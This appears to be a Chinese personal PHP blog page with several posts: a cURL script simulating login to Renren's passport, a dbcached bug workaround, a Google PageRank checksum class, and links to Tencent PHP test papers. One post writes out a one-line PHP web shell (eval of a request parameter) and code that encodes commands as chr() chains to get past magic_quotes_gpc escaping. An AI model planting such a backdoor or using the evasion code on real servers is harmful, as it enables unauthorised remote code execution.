登录 |

PHP+CURL登录人人(校内)网passport

2009年09月27日 下午 56:55 | 作者:hemon

由于人人网(renren.com)和开心网(kaixin.com)对接,新建了个passport服务,用于统一验证,模拟登录的方式也改了,请看通行证登录原理:

1.应用提交验证信息给passport:
email/password
origURL/domain
2.passport分配全局SessionID:
XNESSESSIONID=c3b27ade6716;
3.passport验证帐号/密码
4.用户验证成功,Location 回应用的 callbackUrl:
http://login.renren.com/callback.do?t=ad34b89977d3a45a7bd0b49ea568ad436&origURL=http%3A%2F%2Fwww.renren.com%2FSysHome.do
5.应用的callbackUrl负责获取用户信息,并分配当前的UID:
xnsid=48863dc
6.跳转到应用的首页origURL
function xiaonei_login($email, $password){
$url = ‘http://passport.renren.com/PLogin.do’;
$opt = array(
// LOCATION(自动跳转1次)
CURLOPT_MAXREDIRS => 1,
CURLOPT_FOLLOWLOCATION => 1,
CURLOPT_AUTOREFERER => 1,
// POST(提交验证数据)
CURLOPT_POST => 1,
CURLOPT_POSTFIELDS => “email=$email&password=$password&origURL=http%3A%2F%2Fwww.renren.com%2FSysHome.do&domain=renren.com”,
// COOKIE(保存cookie)
CURLOPT_COOKIEJAR => ‘./cookie’,
CURLOPT_COOKIEFILE => ‘./cookie’,
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt_array($ch, $opt);
curl_exec($ch);
curl_close($ch);

}

dbcached批量获取键值(get keys)问题

2008年10月19日 上午 10:38 | 作者:hemon

 dbcached(http://code.google.com/p/dbcached/) 是一种memcached缓存持久化解决方案。

add()之后,会通过udp包发给nmdp存储

如果get()未命中,则向nmdp取回数据,写入memcached

问题描述

Memcache::get支持单个键和批量键获取:
string Memcache::get ( string key )
array Memcache::get ( array keys )

当使用 Memcache::get ( array keys ) 时,如果key未命中:
dbcached向nmdp取回数据后,所有键值均为keys中最后一个键值

例:

var_dump($memcache->get(array(’20020410070133′,’20040410070111′)));

首次请求,键值值全部为最后一个键(20040410070111)的键值:

array

  '20020410070133' => string '郭蓉' (length=6)
  '20040410070111' => string '郭蓉' (length=6)

刷新之后,由于数据已经读入memcached,输出正常:

array
  '20020410070133' => string '张伟' (length=6)
  '20040410070111' => string '郭蓉' (length=6)

解决方案(临时)

get两次 :!

$memcache->get($keys);
return $memcache->get($keys);


获取googlePR

2008年08月20日 上午 04:05 | 作者:hemon

网上找到一个获取googlePR的class,按照自己的编码规范,重构了一下:

  1. <?php
  2. /**
  3. * $url = 'http://www.hemon.cn';
  4. * $pageRank = new GooglePR;
  5. * echo $pageRank->getPageRank($url);
  6. */
  7. define('GOOGLE_MAGIC', 0xE6359A60);
  8. class GooglePR{
  9.  
  10.     function getPageRank($url){
  11.         $query = $this->getQuery($url);
  12.         $data = $this->getRankData($query);
  13.         $pageRank = $this->parseRank($data);
  14.         return $pageRank;
  15.     }
  16.  
  17.     function getQuery($url){
  18.         $ch = $this->getCh($url);
  19.         $query = "/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";
  20.         return $query;
  21.     }
  22.  
  23.     function getRankData($query){
  24.         //return file_get_contents('http://www.google.com' . $query);
  25.         $fp = fsockopen("www.google.com", 80, $errno, $errstr, 30);
  26.         if (!$fp) {
  27.             echo "$errstr ($errno)<br />\n";
  28.         } else {
  29.             $out = "GET $query HTTP/1.1\r\n" ;
  30.             $out .= "Host: www.google.com\r\n" ;
  31.             $out .= "Connection: Close\r\n\r\n" ;
  32.             fwrite($fp, $out);
  33.             while (!feof($fp)) {
  34.                 $data .= fgets($fp, 128);
  35.             }
  36.             fclose($fp);
  37.         }
  38.         return $data;
  39.     }
  40.  
  41.     function parseRank($data){
  42.         $pos = strpos($data, "Rank_1:"); // Rank_1:1:4/Rank_1:2:10
  43.         if($pos === false){
  44.             $pageRank = 0;
  45.         }else{
  46.             $len = substr($data, $pos+7, 1);
  47.             $pageRank = substr($data, $pos+9, $len);
  48.         }
  49.         return $pageRank;
  50.     }
  51.  
  52.     function getCh($url, $length=null, $init=GOOGLE_MAGIC) {
  53.         $url = $this->strord("info:" . $url);
  54.         if(is_null($length)) {
  55.             $length = sizeof($url);
  56.         }
  57.         $a = $b = 0x9E3779B9;
  58.         $c = $init;
  59.         $k = 0;
  60.         $len = $length;
  61.         while($len >= 12) {
  62.             $a += ($url[$k+0] +($url[$k+1]<<8) +($url[$k+2]<<16) +($url[$k+3]<<24));
  63.             $b += ($url[$k+4] +($url[$k+5]<<8) +($url[$k+6]<<16) +($url[$k+7]<<24));
  64.             $c += ($url[$k+8] +($url[$k+9]<<8) +($url[$k+10]<<16)+($url[$k+11]<<24));
  65.             $mix = $this->mix($a,$b,$c);
  66.             $a = $mix[0]; $b = $mix[1]; $c = $mix[2];
  67.             $k += 12;
  68.             $len -= 12;
  69.         }
  70.         $c += $length;
  71.         switch($len){
  72.             case 11: $c += ($url[$k+10]<<24);
  73.             case 10: $c += ($url[$k+9]<<16);
  74.             case 9 : $c += ($url[$k+8]<<8);
  75.             /* the first byte of c is reserved for the length */
  76.             case 8 : $b += ($url[$k+7]<<24);
  77.             case 7 : $b += ($url[$k+6]<<16);
  78.             case 6 : $b += ($url[$k+5]<<8);
  79.             case 5 : $b += ($url[$k+4]);
  80.             case 4 : $a += ($url[$k+3]<<24);
  81.             case 3 : $a += ($url[$k+2]<<16);
  82.             case 2 : $a += ($url[$k+1]<<8);
  83.             case 1 : $a += ($url[$k+0]);
  84.         }
  85.         $mix = $this->mix($a, $b, $c);
  86.         /* report the result */
  87.         return "6" . $mix[2];
  88.     }
  89.  
  90.     function zeroFill($a, $b){
  91.         $z = hexdec(80000000);
  92.         if ($z & $a){
  93.             $a = ($a>>1);
  94.             $a &= (~$z);
  95.             $a |= 0x40000000;
  96.             $a = ($a>>($b-1));
  97.         }else{
  98.             $a = ($a>>$b);
  99.         }
  100.         return $a;
  101.     }
  102.  
  103.     function mix($a,$b,$c) {
  104.         $a -= $b; $a -= $c; $a ^= ($this->zeroFill($c,13));
  105.         $b -= $c; $b -= $a; $b ^= ($a<<8);
  106.         $c -= $a; $c -= $b; $c ^= ($this->zeroFill($b,13));
  107.         $a -= $b; $a -= $c; $a ^= ($this->zeroFill($c,12));
  108.         $b -= $c; $b -= $a; $b ^= ($a<<16);
  109.         $c -= $a; $c -= $b; $c ^= ($this->zeroFill($b,5));
  110.         $a -= $b; $a -= $c; $a ^= ($this->zeroFill($c,3));
  111.         $b -= $c; $b -= $a; $b ^= ($a<<10);
  112.         $c -= $a; $c -= $b; $c ^= ($this->zeroFill($b,15));
  113.         return array($a, $b, $c);
  114.     }
  115.  
  116.     //converts a string into an array of integers containing the numeric value of the char
  117.     function strord($string) {
  118.         $strlen = strlen($string);
  119.         for($i = 0; $i < $strlen; $i++) {
  120.             $result[$i] = ord($string{$i});
  121.         }
  122.         return $result;
  123.     }
  124. }
  125. ?>

绕过magic_quotes_gpc,运行一句话后门

2008年07月28日 上午 50:32 | 作者:hemon

服务器端一句话后门:  <?php eval($_REQUEST['cmd'])?> 

如果php.ini开启magic_quotes_gpc,提交的cmd不能包含字符串,否则报错:

Warning: Unexpected character in input: ‘\’ (ASCII=92) state=1 in ***.php(171) : eval()’d code on line 1

Parse error: syntax error, unexpected $end in ***.php(171) : eval()’d code on line 1

解决方法:

就是把代码中的字符串替换为chr()函数连接字符串的形式,避免出现单/双引号:

echo ‘china’;

echo chr(99).chr(104).chr(105).chr(110).chr(97);

处理函数:

  1. function stringToChr($string) {
  2.     $pattern = array("|\'(.*?)\'|", "|\"(.*?)\"|");
  3.     return preg_replace_callback($pattern, "toChrString", $string);
  4. }
  5.  
  6. function toChrString($matches) {
  7.     $string$matches[1];
  8.     $length = strlen($string);
  9.     for($i = 0; $i &lt; $length; $i++){
  10.         $chrString .= 'chr(' . ord($string{$i}) . ').';
  11.     }
  12.     return substr($chrString, 0, -1);
  13. }
  14.  
  15. $cmd = 'echo "china";';
  16. echo stringToChr($cmd);

腾讯PHP笔试试题

2008年06月18日 上午 36:22 | 作者:hemon

php-lamp-engineer-test-paper.doc

PHP开发工程师面试试卷.doc